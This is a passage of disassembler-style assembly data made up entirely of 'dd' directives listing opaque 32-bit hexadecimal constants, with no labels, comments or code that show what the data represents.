		dd 7CE93731h, 0AD26C1B7h, 2A15C268h, 254778Ch, 0E93D365Ch
		dd 26A21AC1h, 0F9D7A668h, 2F7F808Dh, 5AE93557h,	2F400A5Eh
		dd 3FD7456Ah, 4B61092Dh, 0E2053A6Eh, 0EB071705h, 84C73CEh
		dd 0E2067A2Eh, 0D97951D0h, 0F556253Eh, 35A56140h, 0FF5AFE8Eh
		dd 171CD046h, 9072FBE9h, 0A433A94Dh, 0B804BDB8h, 42869C31h
		dd 0CD1D0C0h, 0E95E0836h, 0BD0E173Fh, 167AC0F5h, 63355B8h
		dd 15684002h, 90BFA572h, 1ECBF31Fh, 0CB01FC70h,	4757C967h
		dd 1EF60EF2h, 0C58BB26h, 0C04A1927h, 33DEEBDh, 0E9996B2Bh
		dd 5701664Fh, 637BA0EDh, 0E9F389F7h, 1AA41139h,	0B00514F9h
		dd 651C204h, 79A2AF8Bh,	38DD52C9h, 0CFA155C3h, 5B86EF9Dh
		dd 21B93715h, 4DC2D75Ah, 0F8C86A24h, 4C0E1A7Ah,	73506033h
		dd 0B5754FF8h, 5A080235h, 0DB6C05Fh, 574B016Ch,	74C0C2B8h
		dd 0F0A82581h, 0D1ED598Fh, 0DCA42A48h, 0E657C012h, 2BA11C19h
		dd 180C94A0h, 2D088001h, 7E021E51h, 7054294h, 5C7C5E2Dh
		dd 80909158h, 85F8DBB6h, 0DAB041BFh, 0E5FDBAFDh, 0BB24BD29h
		dd 6A2C6203h, 25FC945Fh, 0A6C461CDh, 50955C9Dh,	5D92ED8Bh
		dd 58B9525Bh, 7CF44851h, 9ABFA86Fh, 26189720h, 6DC0EA58h
		dd 7B310BE1h, 0D5A0A044h, 257A0459h, 0B83220E9h, 0F4FAC5DAh
		dd 0B024B2EBh, 2715BCB8h, 1FFA68EFh, 436BEAB0h,	98CF026h
		dd 0A5470D32h, 45613E09h, 0D4302A56h, 0C46E7C68h, 12521BDFh
		dd 53F84704h, 0C5B78012h, 0CD270A6Ah, 17E6F01Dh, 0C9D7ADE9h
		dd 21AA3B8Bh, 64C7CB18h, 9B58CE2Bh, 4B9C482Eh, 992CC0FBh
		dd 0E917DDF6h, 0B0A46462h, 0CC201769h, 0E294873Fh, 9E76F60Ch
		dd 7C37246Fh, 553C94E2h, 0B56F4FF4h, 0A2E506h, 281C7AB9h
		dd 0CB00ECFh, 7CF136E2h, 5782BBCCh, 0E4531F61h,	669F95FEh
		dd 62CE073Fh, 38011E4Ch, 0E0260CC8h, 0FEBCA713h, 953B8CD0h
		dd 0F11393C8h, 9F73A275h, 18A9303Ch, 70685E5Fh,	0F5149D8Bh
		dd 0C4AEDCD2h, 672DFB36h, 7075F9F9h, 10DC3C61h,	92223EE5h
		dd 39B9A9AAh, 7B04CE81h, 0FAF75904h, 7E31C687h,	0F7E3571h
		dd 4FB18B70h, 49A222EEh, 90B70DD5h, 16998E2Fh, 4EF3C2E7h
		dd 9690C424h, 0E756BEB9h, 5F2DDE40h, 0BD09416Bh, 40697771h
		dd 826DD69Fh, 2D6D67D7h, 5B0F0EFEh, 40DBE5C3h, 2ADDA9F5h
		dd 903D2570h, 0CF9C204Ah, 56116800h, 29584ECCh,	16BBBC6h
		dd 6802EEC1h, 0B3302F01h, 127BD4B8h, 0EA315888h, 0E4101BB2h
		dd 2B84862h, 6B951EB6h,	0C1E91131h, 94192C5Ah, 342C042Bh
		dd 83D26527h, 7D0889E9h, 0DDA53115h, 4B3015EEh,	0A7C28145h
		dd 4EDA0036h, 6EEC6853h, 36BB24B7h, 0F80DE90Bh,	0D0312D3Eh
		dd 0BFA01E7Fh, 0F7526656h, 0C32FD76Ch, 1E73D369h, 7594A501h
		dd 0CB810B7h, 294082A8h, 0CB091B08h, 89DF2146h,	33307FBFh
		dd 5B547168h, 765BB145h, 39804CA0h, 0C1A492F1h,	0C9D90D02h
		dd 8CF8E0FBh, 279F8624h, 7A04AD3Eh, 7E1441D3h, 91D2E6E2h
		dd 367FB63h, 100585BBh,	7DC252D3h, 2A5BDF80h, 60F1F78Bh
		dd 4F40681Ah, 7FF36Ch, 14E31991h, 0C0E23DE9h, 1351E79Dh
		dd 0B5B42739h, 0C128FB00h, 5AFE090Eh, 0D838B45Fh, 9EB5825Bh
		dd 68C3F000h, 0B726542Ah, 91714FCCh, 7F6BB01Fh,	0AC2FE8C9h
		dd 10FC9291h, 0A364ABB5h, 7F4199BFh, 0B5C41DFh,	565FF61Dh
		dd 533E014Ch, 35F77Dh, 0FB442C6Eh, 7C3C9F0h, 0E9380F63h
		dd 5E56C96Bh, 8BE455E9h, 22556819h, 73649BD7h, 115F9DADh
		dd 16393DC8h, 89D7EE27h, 0A1A18081h, 765CD93Bh,	5325B801h
		dd 0FA4EBD39h, 95CD7E8Ch, 0E9841467h, 0A3BBDFB3h, 60FF4FCFh
		dd 65BFEFC7h, 510C3F22h, 0BF0208C7h, 5C04C917h,	16F97BA6h
		dd 0F537D047h, 71D17F6h, 86FE4D14h, 49D74F20h, 39480B1Ah
		dd 825776A8h, 0C9D28D80h, 6FDCD506h, 7EA1C409h,	1A01013Eh
		dd 0DC3A585Ah, 0C401D3Ch, 2CD90005h, 0F12D7EADh, 584FDD67h
		dd 3647C804h, 0BF1EBDA3h, 55278905h, 2A666A03h,	0D4FDAA84h
		dd 7E8C186h, 8205081Fh,	58C585F1h, 41277660h, 0EA4F30CDh
		dd 946DA109h, 0FC3A507Ah, 290F3BA0h, 26081C68h,	6EE40AB0h
		dd 0BEE692B6h, 0CE7E35F5h, 5F5A107Eh, 0F085EE50h, 0DFE841E0h
		dd 2D4804A8h, 1F413B0Ah
		dd 0BE03D1BDh, 1F18ED36h, 0C560BA0Ch, 10C70146h, 0C6808D7h
		dd 50580114h, 32207DE9h, 1DCF0565h, 0CD012ED6h,	6915182Ah
		dd 836EC861h, 40E7451Bh, 619E3CAAh, 0B501EDECh,	0E929F705h
		dd 307AFCBDh, 7B2D204Fh, 842C647Dh, 0E24E05D8h,	0F50E162Bh
		dd 0CD08EBCEh, 0C870726Fh, 0AF8B1E0Ah, 5C1348BEh, 0A216D1F7h
		dd 5805E109h, 79DA6097h, 5C3B94EAh, 0B8D4114Bh,	0FF290817h
		dd 2EAF9A59h, 59C906DCh, 46FD52FEh, 3D233473h, 2076E582h
		dd 5BC55953h, 3C845FF9h, 0C87A65F1h, 0CB792A2Bh, 0E5975EF4h
		dd 9D120A4h, 1CBE1D9Eh,	95DB5257h, 4152F5DCh, 0BB0430E0h
		dd 0D8C457EDh, 9CEB173Ch, 294DEB4Fh, 3C1E7647h,	83880EF2h
		dd 0C3810B15h, 5DADA9D5h, 0E91877C4h, 9C5BF2Eh,	5B98F0C2h
		dd 0BDF29060h, 434EF710h, 0EB8A69B0h, 0FD66CC3Fh, 980B3398h
		dd 4B056B42h, 245B298h,	0C557015Bh, 14F9A1CCh, 6F8CB409h
		dd 0C89F5ED3h, 0BE511D0Ah, 0DED562ECh, 6D7CBD00h, 29331339h
		dd 21F52DEEh, 68A31A3h,	58711013h, 17F7895Ch, 8DFB92ACh
		dd 0D6C434FFh, 0D2C1FE24h, 0C60E3E16h, 1E9C70Ah, 3835E193h
		dd 0EA4BD112h, 704C041h, 6E641EE9h, 0FD2D4F5Eh,	0FA9F75B5h
		dd 2F5B92BFh, 0A53A335h, 61C18C32h, 0FCF6CD6Bh,	56532C42h
		dd 0E986FCB5h, 5D7A8CF6h, 15927DE5h, 9F2163F0h,	0DFED5660h
		dd 8D74E71Fh, 44A33E9Ah, 30A05EC5h, 6B75BDEEh, 35301C24h
		dd 0DE3E6E01h, 6F1E95Ah, 0EF689981h, 723CAC7Ch,	7D48CB93h
		dd 0C30741E4h, 10D918DCh, 7D6FF360h, 18416085h,	272D38D2h
		dd 0A3BA5200h, 2957EB2Eh, 0B65A4AD3h, 588C4A55h, 0BCD092Dh
		dd 0F5FC207Bh, 0E9160720h, 99FEC68Bh, 0A6169319h, 99E8EE8h
		dd 105D5405h, 8230A23Ah, 0B5937BF7h, 4ADCF83Ah,	402A422Ch
		dd 565A5B44h, 8C24F799h, 823F3FA6h, 7B5BCDEh, 480A31DEh
		dd 7539E9E0h, 0C4D6103h, 3F7958B0h, 8A07660Ah, 0C527F101h
		dd 0A03B1D33h, 1F40630Fh, 3E732C1h, 13C00806h, 5F250E4Bh
		dd 0B000F560h, 7255D9EDh, 0C60C4A60h, 58409219h, 894FCF45h
		dd 84C83F5Fh, 0BCDB1020h, 0E9590477h, 9AFBD6AAh, 0A1D84AEDh
		dd 5BE0B529h, 489A70DAh, 6C9E82B5h, 0E1680127h,	4BE3233Dh
		dd 66764EC0h, 0BF7702A2h, 9C0DF815h, 649638D6h,	0AB5E42E8h
		dd 0B62FDE6Dh, 0F6152AC6h, 52C5881Ch, 0F35FEEDDh, 7F004A3Ch
		dd 0B3606225h, 0C035000Ch, 57DD359h, 712F030h, 91D889C7h
		dd 0FCEE4ED1h, 0CA68C295h, 88D65946h, 5C1DD12Eh, 59A0C796h
		dd 51433F5Ah, 940E7517h, 0F9F1EF83h, 7B3B9B40h,	0E9231DB1h
		dd 404A041h, 71B0689Bh,	4292F9CDh, 0BD9640BEh, 28C66D8Fh
		dd 0D07FC9Ch, 3C910B9Dh, 0D8401205h, 5D42E922h,	0A95AB698h
		dd 462E7A53h, 51A669ECh, 581DDE27h, 0C8E74808h,	684EE956h
		dd 0A182A885h, 0AF2B5767h, 5E21A2F7h, 4664D729h, 7140F4Dh
		dd 0A56773B8h, 54048E0h, 0F6081D2Eh, 0E12F416Dh, 3F09C474h
		dd 71C49D1Eh, 0C0AB8033h, 8269BD38h, 0ACBB409Dh, 0E87B24C9h
		dd 2D59076Eh, 22DB30A3h, 2B8F001h, 92409805h, 3FC24306h
		dd 7E98F7ECh, 7D82EFE5h, 886EEA82h, 0A79ADEF9h,	56E35511h
		dd 68050604h, 4BEB4E70h, 1223A43h, 0D580D9F7h, 4F25099h
		dd 2DFE215Fh, 1D93404Ch, 40C4A010h, 2EC86D2Dh, 0E7802E93h
		dd 610F0AEBh, 9CC40FDh,	515047D3h, 111259FEh, 610050AEh
		dd 18DA0E44h, 68142AE9h, 5759126Ah, 0A19C1254h,	35AC2EFBh
		dd 98D06E2Dh, 0D240D6CBh, 2DF8007Dh, 0F7817D05h, 273B6F4Eh
		dd 0E5E70236h, 4023633Bh, 7E2A40DDh, 75769F9Fh,	41AF3687h
		dd 3B0CDFB9h, 8D06CED9h, 463DCF68h, 74718A0h, 5F64E78h
		dd 0B6777102h, 0D65EF789h, 0EE6625EDh, 0F7569020h, 95C3BCD8h
		dd 0F769AB71h, 1E74BE3Ah, 222189A5h, 77B94B6Ch,	4D08B030h
		dd 5809B993h, 434E657h,	3B659AEBh, 0F10BAE78h, 282CDB76h
		dd 276B0730h, 0B5E94106h, 9213A8A2h, 22C4AEE9h,	295D03FAh
		dd 0EEE1C1F7h, 1D64EF2Ah, 16E2A5C4h, 2E76E1D3h,	0B90B61EFh
		dd 4FB72B05h, 11DF562Ch, 0A73A481Ch, 4A5E58F3h,	0B114FA5Ah
		dd 732D0481h, 0DFFC1DDEh, 8BE6F973h, 753D040Ah,	66E250E8h
		dd 0E9E818F7h, 0BF4540DCh, 0C2182609h, 3810002Ch, 0C161BB6Ah
		dd 0D273BDCh, 0E8222030h, 0F011302h, 0AB891FE9h, 1D9751D3h
		dd 2CDAEEBCh, 607D13F9h, 8A53032Ah, 444E81FCh, 0D6A5798Dh
		dd 80387ECh, 3FC779B4h,	34116801h, 0C25D440Ch, 0A60E7094h
		dd 0E0883762h, 4A54F8F8h, 18BBF96h, 0C26257Eh, 2B5B9148h
		dd 58672802h, 0FC6C5E68h, 0FC57D233h, 348451F8h, 6818ADC3h
		dd 0DB8B10DAh, 61FBB6C8h, 7F694519h, 0BEC08BB2h, 2C5F7587h
		dd 0FB43E918h, 126AE1B3h, 0E1216163h, 1E2C205Dh, 2B6B4809h
		dd 2289D889h, 0B33C4FAEh, 0C3812AC6h, 223F25B7h, 0F37A43E1h
		dd 0F9F78090h, 0AA5DD068h, 32195078h, 0DBBD36BFh, 10B3D140h
		dd 2745324Ch, 17AB2A74h, 71FC2309h, 13DF20F7h, 97E7A81h
		dd 0B1C2E24Fh, 5BE59A0Eh, 291791BEh, 0CBD52832h, 87985DC0h
		dd 47177968h, 0BA066EFFh, 0C4368CC5h, 9C7A3742h, 194EF7FDh
		dd 0BC9E90BDh, 902F52AAh, 363013A9h, 0D0651F91h, 724E6569h
		dd 0E0AC90D2h, 2D28D6E7h, 1D7B5AF0h, 906577CBh,	10A6682Fh
		dd 0F6C51CFEh, 66D585DDh, 406AF251h, 0BB5BBDD5h, 0AF1C6DEFh
		dd 111ED50Ch, 0B0A2C79Fh, 9D685A07h, 0CED2B4Eh,	32CAFA4h
		dd 7AE52568h, 0CA554F1Ah, 0A896750Eh, 406D115Dh, 0F0E06E98h
		dd 4E594090h, 58FA8BB6h, 0C1BB0201h, 4328C042h,	0F970B40h
		dd 45767E12h, 5EC5851Fh, 5EBA764h, 0F896B680h, 5B75C167h
		dd 0B7F253Ch, 0E55A5DADh, 8D55E224h, 909DF281h,	66A7FCCh
		dd 1A79039Dh, 7C4D3C98h, 51FB8012h, 24E97B4Bh, 89407D16h
		dd 0F0315A9Fh, 2B3DC44Bh, 0B5EA8102h, 5D1C5747h, 861E98F2h
		dd 85243A74h, 0BBFAEB81h, 346BF6FDh, 0EBDE9429h, 0D612E739h
		dd 6D894050h, 5D23BF88h, 0F7144C67h, 78B59CDh, 0EE0169Eh
		dd 0C94972EEh, 2782F953h, 1CBCE976h, 308A5958h,	8742BBF8h
		dd 0D59AFFFBh, 95105A65h, 0E86AB902h, 28E2B00Ch, 5A66B9E0h
		dd 1194D59Dh, 82279095h, 21D78277h, 33B161EAh, 0ECC4907Fh
		dd 6D0A4FDCh, 0B09BB2E9h, 0B72E9486h, 0DAA320F0h, 964E5E3Bh
		dd 9E534193h, 564437AFh, 281C16CCh, 419980C2h, 8100532Ah
		dd 6909A131h, 0F1595063h, 61E9849Fh, 0C4EA1344h, 5850BD9Dh
		dd 3D653FDEh, 94E71072h, 8C89422Bh, 0EB61AAB3h,	1A3AA90Bh
		dd 0FF220C64h, 2F56775Fh, 1457FA91h, 9CDB2FC3h,	2562875Eh
		dd 507F5659h, 0F78245D3h, 4860D580h, 5CB55356h,	52078DAEh
		dd 7D1D166h, 0BE72C807h, 574C5574h, 7D985764h, 42AEB800h
		dd 0F997441Bh, 3E4808DBh, 60EF5B13h, 6F3F68C3h,	1CF63B1h
		dd 82E5E9D1h, 0D6E8CA2Bh, 76928E01h, 0CA803B39h, 2C6440D6h
		dd 0A4133105h, 2EC31310h, 50C01329h, 7E0DC9F2h,	0DD607CCDh
		dd 2CEA40B2h, 62BDD270h, 76FDABF9h, 0AE60C596h,	0E4D7D34Eh
		dd 0BE005C4Ch, 1E3743EEh, 0EAF6811Ah, 3402FF0Dh, 16910E9h
		dd 8480CE51h, 91494159h, 354156FAh, 0E36B701h, 0CC3EB81h
		dd 6A012825h, 8129FD4h,	24C6D60Bh, 0B1BF2D2Ch, 4099D487h
		dd 5A33883Dh, 385313EFh, 2D0008E4h, 0E6C132B5h,	0C68305h
		dd 99CE8101h, 0E9441745h, 0AACB7A76h, 4A88D050h, 9DF5BC58h
		dd 0E5068B45h, 466EA8C1h
		dd 0CBCD3101h, 0B11B94C7h, 53562EDFh, 87D302F2h, 0AA0105C1h
		dd 0A86AED99h, 0E955C1B3h, 0B3548420h, 0ED5A89EEh, 0C29925A8h
		dd 0B420EF70h, 0C6284CC3h, 4F8FB673h, 0EF070EC4h, 0B4019353h
		dd 2935DABh, 585E109Ch,	0E9303C31h, 46329832h, 97F4D852h
		dd 0F9A2BD56h, 12702F25h, 2593D8BAh, 0FAD35D3Ch, 464EEE0Bh
		dd 0F19ED378h, 0E3B93A23h, 6A6DADB1h, 0BE110FCCh, 0AE6804CDh
		dd 0D823B804h, 821DB321h, 7F7E2B40h, 0F1B393B5h, 412B6FA1h
		dd 56AF5A8h, 0EF2770A6h, 175D1540h, 141D1F7h, 0C25EBCDFh
		dd 0B840DA30h, 0CC7CF392h, 5B32ED00h, 0CD01622Ah, 0C0BB0453h
		dd 82773A5Eh, 901293Ch,	0F1245BD8h, 0C17E5427h,	548CEEF3h
		dd 0CBAA57Ch, 42FB35DBh, 4A12F044h, 90AF5C10h, 0AC1D58E6h
		dd 10BF204Ah, 0C6808BCh, 15A1617h, 0EF136DCEh, 53E5F450h
		dd 609A083Eh, 0DE285DA8h, 7B4EB073h, 760A2FC4h,	0C327BD5Ch
		dd 72A8A8D5h, 0DDEBA3B6h, 8BB64713h, 0E3C88F14h, 0F5B3FED2h
		dd 4E8EE140h, 9F52A3BAh, 0A6848597h, 436382BEh,	0B9636A4Ah
		dd 8237F2DFh, 0C8203DECh, 295D1679h, 0C48A17C3h, 8E11B920h
		dd 88A2F28Bh, 38556CAh,	7FDA4676h, 0DC9FE6FEh, 0C50482EFh
		dd 81D712DCh, 3833E9D9h, 28C2B781h, 7B6E7560h, 3E6A3D01h
		dd 26707F23h, 0A307375Eh, 61CCDB8h, 148A1C08h, 3A8F9DBh
		dd 0EA116067h, 66721372h, 684D3DAAh, 5A6674AFh,	3966416h
		dd 75EDD00Bh, 4DE9A640h, 682EBA92h, 316BCFDh, 241FBD83h
		dd 456E83Dh, 0C78340D0h, 0CE0DE213h, 9348FBF5h,	4A4EBC87h
		dd 129638B2h, 131AA380h, 0C35326E9h, 0BE081502h, 675A4046h
		dd 0E469BC31h, 19091301h, 6F26FEFEh, 977B85h, 358CCE92h
		dd 1EB81870h, 0F2DB0F20h, 0D6A20D46h, 2E4229D0h, 1C5427B6h
		dd 53C04025h, 0D1F240B2h, 7F398F4Eh, 0B42E5759h, 7040EDC6h
		dd 0DECD3980h, 88E13F8h, 25C0E8EAh, 0D440C8A3h,	5F5C8AA5h
		dd 356B2B01h, 0A07A5A1Eh, 7EE123B4h, 29EA0E2h, 7A68E9FAh
		dd 48339AFDh, 0B18648Ch, 57586BC8h, 0FCA53571h,	31303296h
		dd 68159DE4h, 7831511Fh, 0FF063A22h, 29160F6Ch,	0BBED241Fh
		dd 0DF027A82h, 2E08DA28h, 684352F5h, 745678D2h,	9792040h
		dd 0F001764Eh, 0E908A0C2h, 8CB74B23h, 0F5256803h, 99BC621h
		dd 0EC84907h, 0DF5258E0h, 0D4214825h, 97A53E8Ch, 566BF3DCh
		dd 0C6CDA522h, 0A2CCE90Bh, 0C0C701CCh, 3B371E3Bh, 0F7556715h
		dd 0B4C8D041h, 9D61EA05h, 21052F55h, 0D6D1D87Eh, 0F027F956h
		dd 7F8A003Bh, 5BBA4053h, 0B5AF5CDh, 0B68CEC6h, 6CE07835h
		dd 0D08AC8DCh, 5A1E0A2Dh, 80E9C5C5h, 522411ECh,	18DA6F76h
		dd 31299358h, 9069B8EFh, 5AD968CEh, 84C5D21Ah, 2505D50Bh
		dd 0F2D1AF03h, 8A6E1518h, 0D23D5CC4h, 5D79421Ah, 0FD80BA61h
		dd 3B40F048h, 3BC3FE1h,	0C8B7BFB4h, 672013C9h, 5AD32858h
		dd 3EC2304Fh, 10ED488Dh, 0BC84B903h, 4EA8071Dh,	40B3E97Dh
		dd 7EEA2D0Ah, 29140CDAh, 750705D8h, 0FF7C95h, 6685651h
		dd 730A8301h, 0D8F9E1E9h, 33BDEE92h, 65DD0993h,	29817E30h
		dd 5F2B6204h, 0BEADFE31h, 0BB6CD317h, 6E681328h, 7FA4CD75h
		dd 1380E329h, 0A5BC4EB5h, 2941FA92h, 55E0657Ch,	0ABA2223Eh
		dd 959F54F8h, 0D038BF07h, 70681272h, 0B2CA8823h, 0E2801B0Eh
		dd 0ADEA665Fh, 98AB4C06h, 0BB271D34h, 69524DC8h, 0A65DCA4Dh
		dd 2F865FF9h, 2AC82DECh, 31818A14h, 0EE0FFA2Bh,	94ABED2Eh
		dd 7CC43831h, 0C75EB764h, 0DC9F0820h, 32E96EB2h, 902B9F0Bh
		dd 75D29F74h, 449D4FCh,	0B1A46C84h, 8AAC4A88h, 50CD12A5h
		dd 81EBD8EEh, 5DE6EF1Fh, 0E30C2098h, 514B2742h,	80D364Ah
		dd 0C514040Ch, 178AFF4Dh, 7717EA93h, 0F85CFD9Ch, 7A059F8Bh
		dd 0B148A8ADh, 0B27850AAh, 41830BD2h, 2C2B6DEh,	30D6CC2Fh
		dd 0D8411588h, 0AD3A6866h, 89564C30h, 5B47869h,	0AA075A25h
		dd 26860B41h, 15C13D1Bh, 9BA16873h, 4CC8D5DAh, 0AAE59481h
		dd 5E1D2D57h, 0B607838h, 353FC1C6h, 0EC3AED37h,	8DC74E32h
		dd 90A64629h, 0CB442549h, 2DF8C475h, 0A0F65E73h, 6202C7EAh
		dd 40385D3Fh, 188DEE29h, 0C4CD95Ah, 8328E4D3h, 57F8FBEBh
		dd 0D9103B9Fh, 9F58CB53h, 0BF545A51h, 12A49032h, 6CFCD469h
		dd 665A27E3h, 61B7F8E1h, 0EAD14A61h, 10EB6252h,	834EBB97h
		dd 0ECEB284h, 0A870BA01h, 0D789C128h, 4B15A67Fh, 0EDB2C7FEh
		dd 22AA2A2Ah, 0C060EA4Ah, 3BE154B9h, 0CAB7DFFh,	30407C74h
		dd 603107B8h, 0B4550C75h, 5F3BA8C0h, 0B3A52EFCh, 362A51F6h
		dd 5E582D04h, 57125C16h, 47C08FE9h, 98F58858h, 61C572CBh
		dd 0D0F608E8h, 4AF8E286h, 5E5ED598h, 67277721h,	5934C360h
		dd 0CC9BD745h, 0CF297D80h, 1297D6ACh, 2F42DCCCh, 5EF879FCh
		dd 0A56B9147h, 0B940FCF4h, 0D34EC6h, 87F18146h,	0E9658C18h
		dd 0BEBD7F25h, 896A95E5h, 0D7FCA977h, 0E92DF16Eh, 0B1006B7Ah
		dd 54030E25h, 4C6882E2h, 0A3FA26B0h, 59AC4E4Eh,	54B0EBA6h
		dd 560AB000h, 5EF58153h, 2F5B3B76h, 30C2ED01h, 904D0908h
		dd 0A04B5144h, 6163D5A6h, 0D268E5C1h, 0F5C5DF4Ah, 0F5DD0189h
		dd 0A182CE1Ch, 78F4545Dh, 0AF493EE9h, 0C7FA4A76h, 0D5ADA415h
		dd 5E5AF858h, 179BFEACh, 0ED90547Fh, 58B849Fh, 20FCB1EAh
		dd 440D63C3h, 92E96C50h, 5488312Ah, 2EA116Fh, 0B005E2CCh
		dd 0F75C0121h, 0D0E906CEh, 9E347947h, 0F4C0D892h, 0E32B6853h
		dd 21C13D68h, 3A209A16h, 5A80F9ADh, 297EBC75h, 0A411442h
		dd 8F6AAA01h, 3C875800h, 13E2F394h, 1D8088Eh, 4491464Eh
		dd 0E8A42E4Dh, 42F813C2h, 189DC38Eh, 0B6B307C4h, 0D447C782h
		dd 90F2C2C9h, 7400B40Ah, 2928C5D5h, 0D55097D6h,	0D0F71AC3h
		dd 0FBA34887h, 5B320F20h, 0FD785052h, 0AD2A4011h, 4ABC7530h
		dd 0F1C16125h, 0EAA7BC46h, 0FE5A3560h, 9353C83Ch, 54416A58h
		dd 473C6E03h, 45EE8504h, 0F85F54DAh, 0C18F62Dh,	36AC07ECh
		dd 14130D0Ch, 0EF07177h, 6008A2EFh, 4807C9EBh, 41758C5Bh
		dd 20BF3AA6h, 3B556840h, 38116793h, 21042548h, 0EB4ED107h
		dd 80267D4h, 0F65F7468h, 67E16284h, 0A76022DCh,	0A02FC21Fh
		dd 0C3668CA1h, 61E68078h, 2F73F699h, 0C691D9C7h, 782128B4h
		dd 21AEA53Bh, 0A8FC6FEAh, 7E16E9F1h, 0AEDA391h,	567CCC6Ah
		dd 52F7BE07h, 0F8AB33B6h, 59CA2CF5h, 7740492Ah,	98245D23h
		dd 0F010770h, 924A497Bh, 42CD0121h, 2C289F74h, 87E233Dh
		dd 1099CA0h, 0B73446F0h, 55921EE5h, 20A7DAAFh, 759F2001h
		dd 481D2500h, 0FC685741h, 3A99352h, 54037E91h, 331CAE06h
		dd 90C014Fh, 2F7308A5h,	3C9360FFh, 37EE3035h, 2C5F2D1Ch
		dd 590B26B2h, 0A241250Bh, 0C82768E4h, 5ACAE90Eh, 1B304130h
		dd 0EC61DF72h, 989AE047h, 0C606E0BDh, 4AA5F8B5h, 0CCC4BE5Bh
		dd 1A620813h, 7EB28E51h, 775E59C9h, 0B42FDFD0h,	5D77EB50h
		dd 0CB2E712Ch, 61688464h, 4D64EE30h, 0BF505983h, 0E95133D0h
		dd 7D544D0Ch, 2568E240h, 0C7D117E4h, 72E1044Bh,	4BC6BCBFh
		dd 0BFC01AE9h, 251D5D8Fh, 0EF7AA097h, 5C6C6D10h, 0B14EDD1Fh
		dd 79BB2E51h, 1BF67EB4h, 0FD94AD84h, 8AE63EEBh,	9E748425h
		dd 19236507h, 4CA3D58Bh, 585B3AF3h, 285AA7C1h, 2EC0FE01h
		dd 0F6EBA1B0h, 0BE725E86h, 8ECBF574h, 684F3060h, 89A66AA6h
		dd 5922B52Ch, 9158403Ah, 6E5D03D7h, 52F10A91h, 4A93FFEh
		dd 0FF59CBC5h, 0A1444D8Eh
		dd 58191372h, 0E03D005Ah, 0BE3DFF77h, 92A71338h, 0F9AC29C4h
		dd 335C2F0h, 0FE290E10h, 68200841h, 1347E2CEh, 0AB533697h
		dd 49C491CBh, 8EFDBA99h, 14EA5CF2h, 205C005Fh, 9F55AE59h
		dd 0A1139356h, 76045947h, 9A87727Eh, 920FA53Fh,	0F4CECCBEh
		dd 77102B69h, 0A668C8D3h, 0D4508BCBh, 0D468E222h, 0EE97A6C4h
		dd 0F7BA1DFDh, 8116C079h, 7A5BF8CAh, 0E2251BB0h, 28955A07h
		dd 0CBA82C2h, 5AD589BFh, 9E69072h, 0ADB0614Ah, 6CDC254Eh
		dd 0C955E057h, 8C5612ABh, 91E016Fh, 30BFAC16h, 5E04490Fh
		dd 0CA01407Dh, 329D93C0h, 0E9730B1Ch, 0FE7C2C2Bh, 5437A689h
		dd 3259E9DBh, 449471E9h, 4ABDC05Ch, 2839EE80h, 702B7C0h
		dd 0B404CE95h, 4BB26237h, 6844BD04h, 25E812Ah, 5433915h
		dd 64A7653Dh, 724B8C00h, 2CE948CFh, 0BB5EAACCh,	0B5906E1Ah
		dd 0A04E6CF2h, 5DEA9521h, 8233B33Eh, 0F9404768h, 103C80E8h
		dd 1BE912D9h, 5FC366BDh, 7FBF2D5Eh, 0E91739ADh,	47BCE0FAh
		dd 16FD64BFh, 1570C12h,	8ED3F722h, 0D157DA54h, 81756B67h
		dd 5B85499Eh, 8224B13Ah, 2B550312h, 0A9254240h,	34200341h
		dd 0FCFAC4ADh, 680DB279h, 0F7B827h, 4819AC71h, 3A53462Dh
		dd 84355200h, 50E2C33h,	7834049Ch, 0FAC601AEh, 8C4BCACBh
		dd 5526E97Eh, 0CD9DC135h, 0E87BACCh, 886F02B6h,	0D8285AF3h
		dd 4C9C575h, 0FAC6A2E9h, 0EB2F63E6h, 0EFF41162h, 0D7C1A0E0h
		dd 0C5292C54h, 4F7E10EBh, 0FC3536B8h, 7A13BB35h, 0C5BB74AFh
		dd 0B702E8B0h, 0F6E9C370h, 4F0BB464h, 0F3A54F05h, 53D81025h
		dd 0E501D241h, 0D048FD2h, 7E0A25B5h, 68C331A3h,	0D7181EDDh
		dd 0BE0A7346h, 4C8BF858h, 3046E12h, 0C00B2811h,	0EFE89883h
		dd 0C4013227h, 0AB5BBD99h, 16B08108h, 84965450h, 0F6016820h
		dd 51C8FED8h, 83D6D0B5h, 624A66C3h, 0FABA2DD9h,	5602DDF1h
		dd 0D5545250h, 31B95590h, 77647B7Bh, 27AE363Ch,	25E389B7h
		dd 0A11CEC85h, 2A795576h, 266D3F04h, 2BBA827Eh,	512D697Eh
		dd 0CF3465D4h, 10FE587Fh, 3115FEF7h, 9C01EDAh, 3AC8E9D1h
		dd 48BCE9B5h, 0A9CEFFC2h, 4F5A4E90h, 0B1CEC911h, 313B2FD3h
		dd 0C24C8E34h, 5AF55677h, 0D32CD053h, 0C878EC00h, 4D5E6812h
		dd 0CE81121Fh, 6851777Dh, 743050BDh, 68054FB9h,	8FB80530h
		dd 338064CEh, 4EDC10Ah,	72D4E92Dh, 29DAB5E2h, 0AA7BFB0Fh
		dd 0F25ADD19h, 1125E4Bh, 2F32ABF5h, 98823E12h, 1545C05h
		dd 0E30D68BDh, 10BC3B33h, 9E7EB05Bh, 7254C18h, 258CEB0Ch
		dd 0C5A9AF6h, 3867AD25h, 1C980A7h, 17B25251h, 3B1E9DE9h
		dd 0E331A5CCh, 9F080705h, 0F22824E4h, 6DE90914h, 2F55512Eh
		dd 593CAADDh, 0C4DB4D14h, 0CCBF14F7h, 3C5EA166h, 4B49F131h
		dd 0C0F9BE01h, 525803F8h, 0B8FD334Ah, 6DE39141h, 5B7ACC3Fh
		dd 7D348B25h, 1170AC5h,	0BB0C13EBh, 61405C2Dh, 25947560h
		dd 0F6502977h, 3E5B0881h, 4CA2DCF8h, 68CA724Bh,	0FCDE0C60h
		dd 8E02C296h, 0F75D1544h, 881D3F0h, 132D2F5Ah, 60F302CCh
		dd 657C8E0Ch, 77971F84h, 168FA0A9h, 0C720FFE1h,	0AAAA6019h
		dd 3E351B17h, 99BA8000h, 2F311DD6h, 7B985BDEh, 7BBA5A2Ch
		dd 17CD765Ch, 75FA592Ah, 1461B24Fh, 2B363C7h, 6CA88CBBh
		dd 5B42FDA7h, 589E8B00h, 0A8955FE3h, 0E90408F4h, 0F8AFF25Bh
		dd 468C406h, 7DFC09E1h,	0BD1EC0E1h, 20B2BC9h, 56133D90h
		dd 1EF1F36h, 3E3CDFD5h,	2F1E6F17h, 39EE7116h, 666CF8C7h
